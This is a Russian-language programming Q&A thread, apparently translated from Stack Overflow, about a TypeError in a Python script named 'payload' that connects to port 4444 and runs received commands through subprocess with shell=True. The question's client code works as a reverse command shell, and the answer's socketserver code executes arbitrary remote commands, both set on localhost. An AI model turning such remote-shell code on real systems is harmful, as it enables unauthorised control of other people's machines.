TypeError: объект 'socket' не является итерируемым

Я пытался сделать программу, которая выполняет системные команды в других системах. Получение этой ошибки, когда я даю команды для выполнения на терминале.

import socket
import subprocess
payload = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload.connect(("localhost",4444))
print("Successfully, Connected..!!")

while True:
    cmd = payload.recv(2048)
    if cmd == 'exit':
        payload.close()
        break
    cmd = cmd.decode('utf-8')
    output = subprocess.check_output(payload, shell=True)
    payload.send(output)

вывод это

Traceback (most recent call last):
  File "C:\Users\Wasii\Desktop\python-payload\payload.py", line 13, in <module>
    output = subprocess.check_output(payload, shell=True)
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 420, in check_output
    return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 501, in run
    with Popen(*popenargs, **kwargs) as process:
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 966, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 1375, in _execute_child
    args = list2cmdline(args)
  File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 561, in list2cmdline
    for arg in map(os.fsdecode, seq):
TypeError: 'socket' object is not iterable

Голосую за закрытие, так как опечатка: payload должно быть cmd.

AKX 02.10.2022 12:56
Почему в Python есть оператор "pass"?
Почему в Python есть оператор "pass"?
Оператор pass в Python - это простая концепция, которую могут быстро освоить даже новички без опыта программирования.
Некоторые методы, о которых вы не знали, что они существуют в Python
Некоторые методы, о которых вы не знали, что они существуют в Python
Python - самый известный и самый простой в изучении язык в наши дни. Имея широкий спектр применения в области машинного обучения, Data Science,...
Основы Python Часть I
Основы Python Часть I
Вы когда-нибудь задумывались, почему в программах на Python вы видите приведенный ниже код?
LeetCode - 1579. Удаление максимального числа ребер для сохранения полной проходимости графа
LeetCode - 1579. Удаление максимального числа ребер для сохранения полной проходимости графа
Алиса и Боб имеют неориентированный граф из n узлов и трех типов ребер:
Оптимизация кода с помощью тернарного оператора Python
Оптимизация кода с помощью тернарного оператора Python
И последнее, что мы хотели бы показать вам, прежде чем двигаться дальше, это
Советы по эффективной веб-разработке с помощью Python
Советы по эффективной веб-разработке с помощью Python
Как веб-разработчик, Python может стать мощным инструментом для создания эффективных и масштабируемых веб-приложений.
0
1
114
1
Перейти к ответу Данный вопрос помечен как решенный

Ответы 1

Ответ принят как подходящий

Вы должны были передать cmd к subprocess.check_output, а не payload.

Вот как я бы закодировал сервер для обработки нескольких одновременных клиентов:

import socketserver
import subprocess

HOST = '127.0.0.1'
PORT = 4444

class MyHandler(socketserver.StreamRequestHandler):
    def handle(self):
        while True:
            cmd = self.request.recv(2048).strip() # get rid of trailing newline if present:
            cmd = cmd.decode('utf-8')
            if cmd == 'exit':
                break
            output = subprocess.check_output(cmd, shell=True)
            self.request.sendall(output)

try:
    with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
        print('Hit CTRL-C to terminate...')
        server.serve_forever()
except KeyboardInterrupt:
    print('Terminating.')

Обновлять

Согласно комментарию, сделанному AKX, если вы обеспокоены тем, что полная команда не может быть получена за один вызов socket.socket.recv, вы можете договориться, что команда должна завершаться специальным символом «конец команды». Затем вы читаете ввод по одному байту за раз, собирая команду, пока не увидите символ «конец команды». В приведенном ниже примере мы устанавливаем символ конца команды в качестве новой строки, которой может предшествовать возврат каретки. Таким образом, мы можем протестировать в Windows или Linux с помощью клиента telnet:

import socketserver
import subprocess

HOST = '127.0.0.1'
PORT = 4444

class MyHandler(socketserver.StreamRequestHandler):
    def handle(self):
        while True:
            buf = []
            # Command ends with a newline optionally preceded by a carriage return
            # Accumulate byte stings until a newline is seen:
            while True:
                bytestring = self.request.recv(1)
                if bytestring[0] == 10: # carriage return?
                    continue
                if bytestring[0] != 13: # newline?
                    buf.append(bytestring)
                else:
                    break # We have seen the end-of-command character
            # Assemble all the 1-byte strings
            cmd = b''.join(buf).decode('utf-8')
            if cmd == 'exit':
                break
            output = subprocess.check_output(cmd, shell=True)
            self.request.sendall(output)

try:
    with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
        print('Hit CTRL-C to terminate...')
        server.serve_forever()
except KeyboardInterrupt:
    print('Terminating.')

Следует отметить, что слепое получение до 2048 байтов из потокового сокета может привести к короткому чтению (если не все байты, отправленные другим концом, доступны) или частичному чтению сообщения. Для серьезного приложения вам потребуется некоторая инкапсуляция сообщений в потоке.

AKX 02.10.2022 12:55

Я обновил ответ, чтобы предоставить код для обработки ситуации, когда один вызов recv может не возвращать всю команду ввода.

Booboo 04.10.2022 14:24

Хорошо, так лучше :) Для эффективности я бы лично увеличил чтение в буфер байтов и просто partition, чтобы увидеть, видели ли мы символ-разделитель, и сохранил возможную частичную команду на другом конце partition для начального значения следующей команды. буфер...

AKX 04.10.2022 15:03

В идеале вы используете не telnet, а пользовательский клиент, который может добавлять к команде префикс длины. Смотрите мой ответ здесь.

Booboo 04.10.2022 15:13

Да, кодировка в стиле TLV была бы лучше. Так совпало, что я только что ответил на аналогичный вопрос сегодня с TLV...

AKX 04.10.2022 15:14

Другие вопросы по теме